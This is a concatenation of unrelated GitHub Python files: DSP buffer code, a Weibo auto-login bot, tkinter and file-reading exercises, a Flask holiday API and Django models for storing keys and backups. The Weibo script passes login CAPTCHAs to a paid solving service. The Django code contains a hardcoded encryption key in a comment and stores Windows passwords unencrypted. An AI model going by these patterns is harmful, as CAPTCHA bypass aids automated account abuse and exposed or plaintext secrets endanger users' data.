samples_acquired = 0\r\n time.sleep(intertrial_interval)\r\n trial_data = []\r\n self.circuit.trigger(trigger)\r\n while True:\r\n if end_condition(self, samples_acquired):\r\n break\r\n new_data = self.read()\r\n samples_acquired += new_data.shape[-1]\r\n trial_data.append(new_data)\r\n log.debug('%s: acquired %d samples', self, samples_acquired)\r\n time.sleep(poll_interval)\r\n remaining_data = self.read()\r\n samples_acquired += remaining_data.shape[-1]\r\n trial_data.append(remaining_data)\r\n trial_data = np.hstack(trial_data)\r\n if samples is not None:\r\n trial_data = trial_data[:, :samples]\r\n acquired_data.append(trial_data[np.newaxis])\r\n return np.vstack(acquired_data)\r\n\r\n def acquire(self, trigger, handshake_tag, end_condition=None, trials=1,\r\n intertrial_interval=0, poll_interval=0.1, reset_read=True):\r\n '''\r\n Fire trigger and acquire resulting block of data\r\n\r\n Data will be continuously spooled while the status of the handshake_tag\r\n is being monitored, so a single acquisition block can be larger than\r\n the size of the buffer; however, be sure to set poll_interval to a\r\n duration that is sufficient to to download data before it is\r\n overwritten.\r\n\r\n Parameters\r\n ----------\r\n trigger\r\n Trigger that starts data acquistion (can be A, B, or 1-9)\r\n handshake_tag\r\n Tag indicating status of data acquisition\r\n end_condition\r\n If None, any change to the value of handshake_tag after trigger is\r\n fired indicates data acquisition is complete. Otherwise, data\r\n acquisition is done when the value of handshake_tag equals the\r\n end_condition. end_condition may be a Python callable that takes\r\n the value of the handshake tag and returns a boolean indicating\r\n whether acquisition is complete or not.\r\n trials\r\n Number of trials to collect\r\n intertrial_interval\r\n Time to pause in between trials\r\n poll_interval\r\n Time to pause in between polling hardware\r\n reset_read\r\n Should the read index be reset at the beginning of each acquisition\r\n sweep? If data is written starting at the first index of the\r\n buffer, then this should be True. If data is written continuously\r\n to the buffer with no reset of the index in between sweeps, then\r\n this should be False.\r\n\r\n Returns\r\n -------\r\n acquired_trials : ndarray\r\n A 3-dimensional array in the format (trial, channel, sample).\r\n\r\n Examples\r\n --------\r\n >>> buffer.acquire(1, 'sweep_done')\r\n >>> buffer.acquire(1, 'sweep_done', True)\r\n '''\r\n # TODO: should we set the read index to = write index?\r\n\r\n if end_condition is None:\r\n handshake_value = self.circuit.get_tag(handshake_tag)\r\n\r\n def is_done(x):\r\n return x != handshake_value\r\n elif not callable(end_condition):\r\n def is_done(x):\r\n return x == end_condition\r\n else:\r\n is_done = end_condition\r\n\r\n def wrapper(dsp_buffer, samples):\r\n current_value = dsp_buffer.circuit.get_tag(handshake_tag)\r\n return is_done(current_value)\r\n\r\n return self._acquire(\r\n trigger, end_condition=wrapper, samples=None,\r\n trials=trials, intertrial_interval=intertrial_interval,\r\n poll_interval=poll_interval, reset_read=reset_read)\r\n\r\n def acquire_samples(self, trigger, samples, trials=1,\r\n intertrial_interval=0, poll_interval=0.1,\r\n reset_read=True):\r\n '''\r\n Fire trigger and acquire n samples\r\n '''\r\n if samples % self.block_size:\r\n raise ValueError(\"Number of samples must be a multiple of \"\r\n \"block size\")\r\n log.debug('%s: attempting to acquire %d samples', self, samples)\r\n\r\n def is_done(b, s):\r\n return s >= samples\r\n return self._acquire(\r\n trigger, end_condition=is_done, samples=samples,\r\n trials=trials, intertrial_interval=intertrial_interval,\r\n poll_interval=poll_interval, reset_read=reset_read)\r\n\r\n\r\nclass ReadableDSPBuffer(DSPBuffer):\r\n\r\n def __init__(self, *args, **kw):\r\n super().__init__(*args, **kw)\r\n self.read_index = 0\r\n self.read_cycle = 0\r\n self.total_samples_read = 0\r\n\r\n def _get_write_index(self):\r\n index = int(self.circuit.get_tag(self.idx_tag))\r\n return index * self.compression / self.channels\r\n\r\n write_index = property(_get_write_index)\r\n\r\n def _get_write_cycle(self):\r\n if self.cycle_tag is None:\r\n return None\r\n return int(self.circuit.get_tag(self.cycle_tag))\r\n\r\n write_cycle = property(_get_write_cycle)\r\n\r\n def _read(self, offset, length):\r\n log.debug(\"%s: read offset %d, read size %d\", self, offset, length)\r\n if length == 0:\r\n data = np.array([], dtype=self.dest_type)\r\n return data.reshape((self.channels, -1))\r\n\r\n # At this point, we have already done the necessary computation of\r\n # offset and read size so all we have to do is pass those values\r\n # directly to the ReadTagVEX function.\r\n data = self._iface.ReadTagVEX(\r\n self.data_tag, offset, length,\r\n self.vex_src_type, self.vex_dest_type, self.channels)\r\n return np.divide(data, self.sf).astype(self.dest_type)\r\n\r\n\r\nclass WriteableDSPBuffer(DSPBuffer):\r\n\r\n def __init__(self, *args, **kw):\r\n super().__init__(*args, **kw)\r\n self.write_index = 0\r\n self.write_cycle = 0\r\n self.total_samples_written = 0\r\n\r\n def _get_read_index(self):\r\n # This returns the current sample that's been read\r\n index = int(self.circuit.get_tag(self.idx_tag))\r\n return index * self.compression / self.channels\r\n\r\n read_index = property(_get_read_index)\r\n\r\n def _get_read_cycle(self):\r\n if self.cycle_tag is None:\r\n return None\r\n return self.circuit.get_tag(self.cycle_tag)\r\n\r\n read_cycle = property(_get_read_cycle)\r\n\r\n def _write(self, offset, data):\r\n log.debug(\"%s: write %d samples at %d\", self, len(data), offset)\r\n return self._iface.WriteTagV(self.data_tag, offset, data)\r\n\r\n def set(self, data):\r\n '''\r\n Assumes data is written starting at the first index of the buffer. Use\r\n for epoch-based playout.\r\n '''\r\n data = np.asarray(data)\r\n size = data.shape[-1]\r\n if size > self.size_max:\r\n mesg = \"Cannot write %d samples to buffer\" % size\r\n raise DSPError(self, mesg)\r\n if self.size_tag is not None:\r\n self.set_size(size)\r\n elif size != self.size:\r\n mesg = \"Buffer size cannot be configured\"\r\n raise DSPError(self, mesg)\r\n\r\n if size == 0:\r\n return\r\n\r\n if self.vex_src_type != 'F32':\r\n raise NotImplementedError\r\n if not self._iface.WriteTagV(self.data_tag, 0, data):\r\n raise DSPError(self, \"write failed\")\r\n log.debug(\"%s: set buffer with %d samples\", self, size)\r\n self.total_samples_written += size\r\n","repo_name":"LABSN/tdtpy","sub_path":"tdt/dsp_buffer.py","file_name":"dsp_buffer.py","file_ext":"py","file_size_in_byte":19517,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"3057104606","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport requests\nimport base64, rsa, binascii\nimport time, re, json, random\nimport sys\nsys.path.append('../lib')\nfrom yunsu import APIClient \n\nclass Weibo(object):\n '''\n weibo class:\n - login\n -\n '''\n def __init__(self, username=\"\", passwd=\"\", proxy=False):\n self.r = requests.Session()\n self.client = APIClient()\n if proxy:\n self.r.proxies={\n 'http': 'socks5://127.0.0.1:1080',\n 'https': 'socks5://127.0.0.1:1080',\n }\n self.username = username\n self.passwd = passwd\n self.weibo_url = 'http://weibo.com/'\n self.prelogin_url = 'https://login.sina.com.cn/sso/prelogin.php'\n self.login_url = 'http://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.18)'\n self.headers = {'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.23 Mobile Safari/537.36'}\n pass\n\n def login(self):\n '''\n '''\n self.prelogin()\n self.sp = self.getPwd()\n para = {\n \"encoding\": \"UTF-8\",\n \"entry\": \"weibo\",\n \"from\": \"\",\n \"gateway\": 1,\n \"nonce\": self.nonce,\n \"pagerefer\": \"http://login.sina.com.cn/sso/logout.php?entry=miniblog&r=http%3A%2F%2Fweibo.com%2Flogout.php%3Fbackurl%3D%252F\",\n \"prelt\": 117,\n \"pwencode\": \"rsa2\",\n \"returntype\": \"TEXT\",\n \"rsakv\": self.rsakv,\n \"savestate\": 0,\n \"servertime\": self.servertime,\n \"service\": \"miniblog\",\n \"sp\": self.sp,\n \"sr\": \"1920*1080\",\n \"su\": self.su,\n \"url\": \"http://weibo.com/ajaxlogin.php?framelogin=1&callback=parent.sinaSSOController.feedBackUrlCallBack\",\n \"useticket\": 1,\n \"vsnf\": 1,\n }\n\n if self.showpin == 1:\n vcode = self.getPin()\n #vcode = raw_input('input vcode:')\n para['door'] = vcode\n para['cdult'] = 2\n para['pcid'] = self.pcid\n para['prelt'] = 2041\n data = self.r.post(self.login_url, data=para, headers=self.headers)\n data = json.loads(data.text)\n if data['retcode'] != \"0\":\n return False, data['reason']\n\n\n self.ticket = data['ticket']\n para={\n 'callback':'sinaSSOController.callbackLoginStatus',\n 'ticket': self.ticket,\n 'client': 'ssologin.js(v1.4.18)',\n 'retcode': 0,\n 'url': 'http://weibo.com/ajaxlogin.php?framelogin=1&callback=parent.sinaSSOController.feedBackUrlCallBack&sudaref=weibo.com'\n }\n self.r.get('http://passport.weibo.com/wbsso/login', params=para, headers=self.headers)\n self.r.get(para['url'], headers=self.headers)\n interest = self.r.get('http://weibo.com/nguide/interest')\n uid = re.search(r\"CONFIG\\['uid'\\]='([^']+)'\", interest.text).group(1)\n nick = re.search(r\"CONFIG\\['nick'\\]='([^']+)'\", interest.text).group(1)\n return True, uid, nick\n\n def getPin(self):\n '''\n 验证码\n '''\n para = {\n 'p': self.pcid,\n 'r': random.randint(10000,100000),\n 's': 0\n }\n pic = self.r.get('http://login.sina.com.cn/cgi/pin.php', params=para, headers=self.headers)\n imgPath = './pin.png'\n file(imgPath, 'wb').write(pic.content)\n return self.client.shibie(imgPath)\n\n def prelogin(self):\n '''\n prelogin process\n '''\n self.r.get(self.weibo_url)\n self.su = self.getSu()\n para = {\n \"_\": time.time(),\n \"callback\": \"sinaSSOController.preloginCallBack\",\n \"checkpin\": 1,\n \"client\": \"ssologin.js(v1.4.18)\",\n \"entry\": \"weibo\",\n \"rsakt\": \"mod\",\n \"su\": self.su\n }\n d = self.r.get(self.prelogin_url, params=para, headers=self.headers).text\n data = re.findall(r'preloginCallBack\\(([\\w\\W]+?)\\)', d)[0]\n data = json.loads(data)\n self.servertime = data.get('servertime','')\n self.nonce = data.get('nonce', '')\n self.pubkey = data.get('pubkey', '')\n self.rsakv = data.get('rsakv', '')\n self.showpin = data.get('showpin', 0)\n self.pcid = data.get('pcid', '')\n\n def getSu(self):\n '''\n 获取加密用户名: 只有 Base64\n '''\n return base64.encodestring(self.username)[:-1]\n\n def getPwd(self):\n '''\n 获取加密密码sp\n '''\n rsaPubkey = int(self.pubkey, 16)\n RSAKey = rsa.PublicKey(rsaPubkey, 65537) #创建公钥\n codeStr = str(self.servertime) + '\\t' + str(self.nonce) + '\\n' + str(self.passwd)\n pwd = rsa.encrypt(codeStr, RSAKey) #使用rsa进行加密\n return binascii.b2a_hex(pwd) #将加密信息转换为16进制。\n","repo_name":"fengjinhai/robotImitation","sub_path":"weibo.py","file_name":"weibo.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"21"} +{"seq_id":"197333332","text":"import tkinter\n\n# Constants, Variables\n#\n# Functions\n#\ndef mybuttonclose_clicked():\n print(\"Buttonclose_clicked\")\n mybuttonclose.flash()\n mybuttonclose.flash()\n mybuttonclose.flash()\n mybuttonclose.flash()\n mybuttonclose.flash()\n window.title(\"Hey You clicked the close Button\")\n #exit(0)\n\ndef mybutton_clicked():\n print(\"myButton_clicked\")\n mybutton.flash()\n mybutton.flash()\n mybutton.flash()\n mybutton.flash()\n mybutton.flash()\n window.title(myinput.get())\n mylabel[\"text\"]=\"mybutton clicked !\"\n #exit(0)\n#\n\n# Classes\n#\n# Main\n#\nwindow = tkinter.Tk()\nwindow.title(\"tkinter exercises !! Yeah\")\nwindow.minsize(width=600,height=400)\n#\nmylabel = tkinter.Label(text=\"Labelmein\", font=(\"Arial\", 24, \"bold\"), highlightbackground=\"blue\",highlightcolor=\"red\", takefocus=1)\nmylabel.pack(side=\"left\")\nmybutton = tkinter.Button(text=\"Button-My\", highlightbackground=\"blue\", highlightcolor=\"red\", activeforeground=\"green\", command=mybutton_clicked)\nmybutton.pack(side=\"right\")\n\n# tkinter change options/characteristics later:\nmybutton[\"text\"]=\"ClickMe!\"\nmybutton[\"activebackground\"]=\"red\"\n\nmybuttonclose = tkinter.Button(text=\"Close\", font=(\"Courier\", 26, \"bold\"), activebackground=\"gray\", relief=\"sunken\")\nmybuttonclose.pack(side=\"top\")\nmybuttonclose[\"takefocus\"]=1\nmybuttonclose[\"command\"]=mybuttonclose_clicked\nmybuttonclose.flash()\nwindow.title(\"Changed title....\")\n\nmybuttonclose.config(text = \"Close-new\")\n\n# Entry\nmyinput = tkinter.Entry()\nmyinput.pack(side=\"right\")\nmyinput.config(relief = \"raised\", width = 15)\n\nwindow.mainloop()\n","repo_name":"holgihe/100-Days_of_Code_Python_udemy","sub_path":"Day020-039/Day027_tkinter-exercises.py","file_name":"Day027_tkinter-exercises.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39136038275","text":"from sys import argv # import argument variable function from sys module\n\nscript, filename = argv\n\ntxt = open(filename) # open file and put into file object\n\nprint(f\"Here's your file {filename}:\")\nprint(txt.read()) # read contents of file object\n\ntxt_again = input(\"Type the filename again: \")\nfile_again = open(txt_again)\nprint(file_again.read())\ntxt.close()\nfile_again.close()\n","repo_name":"rollbackzero/projects","sub_path":"ex15b.py","file_name":"ex15b.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27924839285","text":"from date_util import *\nfrom datetime import datetime\nfrom flask import Flask, jsonify, after_this_request\nfrom flask_cors import CORS\nfrom flask_sqlalchemy import SQLAlchemy\nfrom network_util import download_csv\nfrom sqlalchemy import Column, Integer, Unicode, UnicodeText, ForeignKey\nfrom time import mktime\nfrom wsgiref.handlers import format_date_time\nimport os\nimport sys\nimport traceback\n\ndb_last_modified = datetime(2000, 1, 1, 0, 0, 0)\n\ntry:\n app = Flask(__name__)\n app.config['DEBUG'] = True\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True\n app.config['SQLALCHEMY_DATABASE_URI'] = os.environ.get(\n 'DATABASE_URL') or \"postgresql://postgres:Passw0rd@localhost:5432/holiday\"\n db = SQLAlchemy(app)\n CORS(app)\nexcept Exception as e:\n t, v, tb = sys.exc_info()\n print(traceback.format_exception(t, v, tb))\n print(traceback.format_tb(e.__traceback__))\n\n\n@app.route('/')\ndef index():\n print('index()')\n @after_this_request\n def d_header(response):\n response.headers['Last-Modified'] = format_date_time(\n mktime(db_last_modified.timetuple()))\n return response\n return jsonify(ResultSet=read_holidays())\n\n\n@app.route('/update')\ndef update():\n print('update()')\n holidays = download_csv()\n message = {}\n print('update() len(holidays): {}'.format(len(holidays)))\n if len(holidays) > 0:\n cleared = clear_holidays()\n print('update() cleared: {}'.format(cleared))\n if cleared:\n message = add_holidays(holidays)\n else:\n message['message'] = 'DB Not Cleared'\n else:\n message['message'] = 'CSV Not Downloaded'\n\n @after_this_request\n def d_header(response):\n db_last_modified = datetime.now()\n response.headers['Last-Modified'] = format_date_time(\n mktime(db_last_modified.timetuple()))\n return response\n return jsonify(ResultSet=message)\n\n\n@app.route('/')\ndef filterHoliday(date):\n print('filterHoliday({})'.format(date))\n @after_this_request\n def d_header(response):\n response.headers['Last-Modified'] = format_date_time(\n mktime(db_last_modified.timetuple()))\n return response\n if date and 0 < len(normalize_datestring(date)):\n print('filterHoliday({}) normalize_datestring(date): '.format(\n date, normalize_datestring(date)))\n return jsonify(ResultSet=filtered_holidays(date))\n else:\n print('filterHoliday({}) else'.format(date))\n return jsonify(ResultSet=read_holidays())\n\n\ndef add_holidays(holidays):\n result = {}\n try:\n for k, v in holidays.items():\n holiday = Holiday(k, v)\n db.session.add(holiday)\n result[k] = v\n db.session.commit()\n except Exception as e:\n t, v, tb = sys.exc_info()\n print(traceback.format_exception(t, v, tb))\n print(traceback.format_tb(e.__traceback__))\n return result\n\n\ndef clear_holidays():\n try:\n holidays = Holiday.query.all()\n for holiday in holidays:\n db.session.delete(holiday)\n db.session.commit()\n return True\n except Exception as e:\n t, v, tb = sys.exc_info()\n print(traceback.format_exception(t, v, tb))\n print(traceback.format_tb(e.__traceback__))\n return False\n\n\ndef read_holidays():\n print('read_holidays()')\n result = {}\n try:\n holidays = Holiday.query.all()\n print('read_holidays() holidays: ' + str(holidays))\n for holiday in holidays:\n result[holiday.date] = holiday.name\n except Exception as e:\n t, v, tb = sys.exc_info()\n print(traceback.format_exception(t, v, tb))\n print(traceback.format_tb(e.__traceback__))\n return result\n\n\ndef filtered_holidays(date):\n print('filtered_holidays({})'.format(date))\n dateStr = normalize_filterstring(date)\n print('filtered_holidays({}) dateStr: {}'.format(date, dateStr))\n\n result = {}\n try:\n holidays = Holiday.query.all()\n for holiday in holidays:\n if ((not dateStr) or (dateStr and holiday.date.startswith(dateStr))):\n result[holiday.date] = holiday.name\n except Exception as e:\n t, v, tb = sys.exc_info()\n print(traceback.format_exception(t, v, tb))\n print(traceback.format_tb(e.__traceback__))\n return result\n\n\nclass Holiday(db.Model):\n \"\"\"\n 祝日\n \"\"\"\n __tablename__ = \"holidays\"\n id = Column(Integer, primary_key=True, autoincrement=True)\n date = Column(Unicode(8), unique=True, nullable=False)\n name = Column(Unicode(255), unique=False, nullable=False)\n\n def __init__(self, date, name):\n self.date = date\n self.name = name\n\n def __repr__(self):\n return ''.format(self.date, self.name)\n\n\nif __name__ == '__main__':\n print(app.url_map)\n app.debug = True\n app.url_map.strict_slashes = False\n app.run()\n","repo_name":"YA-androidapp/Heroku-Holiday","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6455755605","text":"import os\r\nfrom django.core.files import File\r\nfrom cryptography.fernet import Fernet\r\nfrom django.db.models.signals import post_save\r\nfrom django.dispatch import receiver\r\nfrom django.conf import settings\r\nfrom django.contrib.auth.models import User\r\nfrom django.db import models\r\nfrom django.template.defaultfilters import slugify\r\nfrom django.utils.timezone import now\r\nfrom encrypted_model_fields.fields import EncryptedCharField\r\nfrom ckeditor_uploader.fields import RichTextUploadingField\r\nfrom private_storage.fields import PrivateFileField\r\nfrom private_storage.storage.files import PrivateFileSystemStorage\r\nfrom simple_history.models import HistoricalRecords\r\n\r\nstorage2 = PrivateFileSystemStorage(\r\n location='/home/ubuntu/tesis/media/group-private/',\r\n base_url='/group-private/'\r\n)\r\n\r\n\r\nclass CommonInfo(models.Model):\r\n created_at = models.DateTimeField(\"created_at\", default=now, blank=True)\r\n last_modified_at = models.DateTimeField(\"last_modified_at\", default=now, blank=True)\r\n created_by = models.ForeignKey(settings.AUTH_USER_MODEL, verbose_name=\"Created by\", related_name=\"%(app_label)s_%(class)s_created\", on_delete=models.CASCADE, null=True, blank=True)\r\n last_modified_by = models.ForeignKey(settings.AUTH_USER_MODEL, verbose_name=\"Last modified by\", related_name=\"%(app_label)s_%(class)s_last_modified\", on_delete=models.CASCADE, null=True, blank=True)\r\n\r\n def save(self, *args, **kwargs):\r\n if not self.created_at:\r\n self.created_at = now()\r\n self.last_modified_at = now()\r\n super(CommonInfo, self).save(*args, **kwargs)\r\n\r\n class Meta:\r\n abstract = True\r\n\r\n\r\ndef custom_upload_to(instance, filename):\r\n old_instance = Group.objects.get(pk=instance.pk)\r\n old_instance.image.delete()\r\n return 'images/' + filename\r\n\r\n\r\nclass Group(CommonInfo):\r\n name = models.CharField(max_length=50, unique=True)\r\n description = models.CharField(max_length=100, blank=True)\r\n members = models.ManyToManyField(User)\r\n slug = models.SlugField(unique=True)\r\n image = models.ImageField(upload_to=custom_upload_to, blank=True, null=True)\r\n\r\n class Meta:\r\n verbose_name = \"Group\"\r\n verbose_name_plural = \"Groups\"\r\n ordering = ['name']\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n def save(self, *args, **kwargs):\r\n self.slug = slugify(self.name)\r\n super(Group, self).save(*args, **kwargs)\r\n\r\n\r\nclass Set(CommonInfo):\r\n name = models.CharField(verbose_name=\"Name\", max_length=50)\r\n description = models.CharField(max_length=100, blank=True)\r\n group = models.ForeignKey(Group, on_delete=models.CASCADE)\r\n slug = models.SlugField()\r\n\r\n class Meta:\r\n verbose_name = \"Set\"\r\n verbose_name_plural = \"Sets\"\r\n ordering = ['name']\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n def save(self, *args, **kwargs):\r\n self.slug = slugify(self.name)\r\n super(Set, self).save(*args, **kwargs)\r\n\r\n\r\ndef upload_key(instance, filename):\r\n return os.path.join(\"%s/\" % instance.set.group.pk, \"keys/\", filename)\r\n\r\n\r\nclass Key(CommonInfo):\r\n name = models.CharField(verbose_name=\"Name\", max_length=50)\r\n username = models.CharField(verbose_name=\"Username\", max_length=50, blank=True, null=True)\r\n password = EncryptedCharField(verbose_name=\"Password\", max_length=50, blank=True, null=True)\r\n note = models.CharField(verbose_name=\"Note\", max_length=200, blank=True, null=True)\r\n url = models.CharField(verbose_name=\"URL\", max_length=50, blank=True, null=True)\r\n file = PrivateFileField(\"File\", storage=storage2, upload_to=upload_key, blank=True, null=True)\r\n set = models.ForeignKey(Set, on_delete=models.CASCADE)\r\n slug = models.SlugField()\r\n history = HistoricalRecords()\r\n\r\n class Meta:\r\n verbose_name = \"Key\"\r\n verbose_name_plural = \"Keys\"\r\n ordering = ['last_modified_at']\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n def save(self, *args, **kwargs):\r\n self.slug = slugify(self.name)\r\n super(Key, self).save(*args, **kwargs)\r\n if self.file:\r\n input_file = self.file.path\r\n output_file = self.file.path\r\n with open(input_file, 'rb') as f:\r\n data = f.read()\r\n fernet = Fernet(settings.SECRET_KEY)\r\n encrypted = fernet.encrypt(data)\r\n with open(output_file, 'wb') as f:\r\n f.write(encrypted)\r\n\r\n#Antes usaba señales para cifrar archivos, ahora lo hago desde la funcion save\r\n#@receiver(post_save, sender=Key)\r\n#def save_key(sender, instance, **kwargs):\r\n#\r\n# if instance.file:\r\n# key = \"hIgxKFW5_BIEi2NL3I_Sg3HEj8Xk-RO0ug3lSc7q9a0=\"\r\n# encrypted = ''\r\n# input_file = instance.file.path\r\n# print(input_file)\r\n# output_file = instance.file.path\r\n# with open(input_file, 'rb') as f:\r\n# data = f.read()\r\n# fernet = Fernet(key)\r\n# encrypted = fernet.encrypt(data)\r\n# print(encrypted)\r\n# print(\"-------\")\r\n# with open(output_file, 'wb') as f:\r\n# f.write(encrypted)\r\n\r\n\r\ndef upload_guide(instance, filename):\r\n return os.path.join(\"%s/\" % instance.set.group.pk, \"guides/\", filename)\r\n\r\n\r\nclass Guide(CommonInfo):\r\n name = models.CharField(verbose_name=\"Name\", max_length=50)\r\n guide = RichTextUploadingField(verbose_name=\"Text\", blank=True, null=True)\r\n file = PrivateFileField(\"File\", storage=storage2, upload_to=upload_guide, blank=True, null=True)\r\n set = models.ForeignKey(Set, on_delete=models.CASCADE)\r\n slug = models.SlugField()\r\n\r\n class Meta:\r\n verbose_name = \"Guide\"\r\n verbose_name_plural = \"Guides\"\r\n ordering = ['last_modified_at']\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n def save(self, *args, **kwargs):\r\n self.slug = slugify(self.name)\r\n super(Guide, self).save(*args, **kwargs)\r\n if self.file:\r\n input_file = self.file.path\r\n output_file = self.file.path\r\n with open(input_file, 'rb') as f:\r\n data = f.read()\r\n fernet = Fernet(settings.SECRET_KEY)\r\n encrypted = fernet.encrypt(data)\r\n with open(output_file, 'wb') as f:\r\n f.write(encrypted)\r\n\r\n\r\ndef upload_backup(instance, filename):\r\n return os.path.join(\"%s/\" % instance.set.group.pk, \"backups/\", filename)\r\n\r\n\r\nclass Backup(CommonInfo):\r\n name = models.CharField(verbose_name=\"Name\", max_length=50)\r\n note = models.CharField(verbose_name=\"Note\", max_length=200, blank=True, null=True)\r\n file = PrivateFileField(\"File\", storage=storage2, upload_to=upload_backup)\r\n set = models.ForeignKey(Set, on_delete=models.CASCADE)\r\n slug = models.SlugField()\r\n\r\n class Meta:\r\n verbose_name = \"Backup\"\r\n verbose_name_plural = \"Backups\"\r\n ordering = ['last_modified_at']\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n def save(self, *args, **kwargs):\r\n self.slug = slugify(self.name)\r\n super(Backup, self).save(*args, **kwargs)\r\n if self.file:\r\n input_file = self.file.path\r\n output_file = self.file.path\r\n with open(input_file, 'rb') as f:\r\n data = f.read()\r\n fernet = Fernet(settings.SECRET_KEY)\r\n encrypted = fernet.encrypt(data)\r\n with open(output_file, 'wb') as f:\r\n f.write(encrypted)\r\n\r\n\r\ndef upload_survey(instance, filename):\r\n return os.path.join(\"%s/\" % instance.set.group.pk, \"surveys/\", filename)\r\n\r\n\r\nclass Survey(CommonInfo):\r\n name = models.CharField(verbose_name=\"Name\", max_length=50)\r\n responsable = models.CharField(verbose_name=\"Responsable\", max_length=50, blank=True, null=True)\r\n company = models.CharField(verbose_name=\"Company\", max_length=50, blank=True, null=True)\r\n address = models.CharField(verbose_name=\"Address\", max_length=50, blank=True, null=True)\r\n telephone = models.CharField(verbose_name=\"Telephone\", max_length=50, blank=True, null=True)\r\n email = models.CharField(verbose_name=\"Email\", max_length=50, blank=True, null=True)\r\n webpage = models.CharField(verbose_name=\"Webpage\", max_length=50, blank=True, null=True)\r\n workhours = models.CharField(verbose_name=\"Workhours\", max_length=50, blank=True, null=True)\r\n business_name = models.CharField(verbose_name=\"Business Name\", max_length=50, blank=True, null=True)\r\n tax_residence = models.CharField(verbose_name=\"Tax Residence\", max_length=50, blank=True, null=True)\r\n cuit = models.CharField(verbose_name=\"CUIT\", max_length=50, blank=True, null=True)\r\n category = models.CharField(verbose_name=\"Category\", max_length=50, blank=True, null=True)\r\n observations = models.TextField(verbose_name=\"Observation\", max_length=200, blank=True, null=True)\r\n file = PrivateFileField(\"File\", storage=storage2, upload_to=upload_survey, blank=True, null=True)\r\n set = models.ForeignKey(Set, on_delete=models.CASCADE)\r\n slug = models.SlugField()\r\n\r\n class Meta:\r\n verbose_name = \"Survey\"\r\n verbose_name_plural = \"Surveys\"\r\n ordering = ['last_modified_at']\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n def save(self, *args, **kwargs):\r\n self.slug = slugify(self.name)\r\n super(Survey, self).save(*args, **kwargs)\r\n if self.file:\r\n input_file = self.file.path\r\n output_file = self.file.path\r\n with open(input_file, 'rb') as f:\r\n data = f.read()\r\n fernet = Fernet(settings.SECRET_KEY)\r\n encrypted = fernet.encrypt(data)\r\n with open(output_file, 'wb') as f:\r\n f.write(encrypted)\r\n\r\n\r\nclass SurveyWorkStation(CommonInfo):\r\n name = models.CharField(verbose_name=\"Name\", max_length=50)\r\n user = models.CharField(verbose_name=\"User\", max_length=50, blank=True, null=True)\r\n charge = models.CharField(verbose_name=\"Charge\", max_length=50, blank=True, null=True)\r\n telephone = models.CharField(verbose_name=\"Telephone\", max_length=50, blank=True, null=True)\r\n email = models.CharField(verbose_name=\"Email\", max_length=50, blank=True, null=True)\r\n user_location = models.CharField(verbose_name=\"User Location\", max_length=50, blank=True, null=True)\r\n files_location = models.CharField(verbose_name=\"Files Location\", max_length=50, blank=True, null=True)\r\n windows_username = models.CharField(verbose_name=\"Windows Username\", max_length=50, blank=True, null=True)\r\n windows_password = models.CharField(verbose_name=\"Windows Password\", max_length=50, blank=True, null=True)\r\n windows_version = models.CharField(verbose_name=\"Windows Version\", max_length=50, blank=True, null=True)\r\n software_additional = models.CharField(verbose_name=\"Software Additional\", max_length=50, blank=True, null=True)\r\n email_type = models.CharField(verbose_name=\"Email Type\", max_length=50, blank=True, null=True)\r\n server_connections = models.CharField(verbose_name=\"Server Connections\", max_length=50, blank=True, null=True)\r\n observations = models.TextField(verbose_name=\"Observation\", max_length=200, blank=True, null=True)\r\n survey = models.ForeignKey(Survey, on_delete=models.CASCADE)\r\n slug = models.SlugField()\r\n\r\n class Meta:\r\n verbose_name = \"Survey WorkStation\"\r\n verbose_name_plural = \"Surveys WorkStations\"\r\n ordering = ['last_modified_at']\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n def save(self, *args, **kwargs):\r\n self.slug = slugify(self.name)\r\n super(SurveyWorkStation, self).save(*args, **kwargs)\r\n\r\n\r\nclass SurveyUser(CommonInfo):\r\n full_name = models.CharField(verbose_name=\"Full Name\", max_length=50, blank=True, null=True)\r\n Department = models.CharField(verbose_name=\"Department\", max_length=50, blank=True, null=True)\r\n job_title = models.CharField(verbose_name=\"Job Title\", max_length=50, blank=True, null=True)\r\n phone_number = models.CharField(verbose_name=\"Phone Number\", max_length=50, blank=True, null=True)\r\n intern_number = models.CharField(verbose_name=\"Intern Number\", max_length=50, blank=True, null=True)\r\n country = models.CharField(verbose_name=\"Country\", max_length=50, blank=True, null=True)\r\n city = models.CharField(verbose_name=\"City\", max_length=50, blank=True, null=True)\r\n address = models.CharField(verbose_name=\"Address\", max_length=50, blank=True, null=True)\r\n email = models.CharField(verbose_name=\"Email\", max_length=50, blank=True, null=True)\r\n observations = models.TextField(verbose_name=\"Observations\", max_length=200, blank=True, null=True)\r\n survey = models.ForeignKey(Survey, on_delete=models.CASCADE)\r\n slug = models.SlugField()\r\n\r\n class Meta:\r\n verbose_name = \"Survey User\"\r\n verbose_name_plural = \"Surveys Users\"\r\n ordering = ['last_modified_at']\r\n\r\n def __str__(self):\r\n return self.full_name\r\n\r\n def save(self, *args, **kwargs):\r\n self.slug = slugify(self.full_name)\r\n super(SurveyUser, self).save(*args, **kwargs)\r\n\r\n\r\nclass SurveyServer(CommonInfo):\r\n name = models.CharField(verbose_name=\"Name\", max_length=50, blank=True, null=True)\r\n ip = models.IntegerField(verbose_name=\"Ip\", blank=True, null=True)\r\n 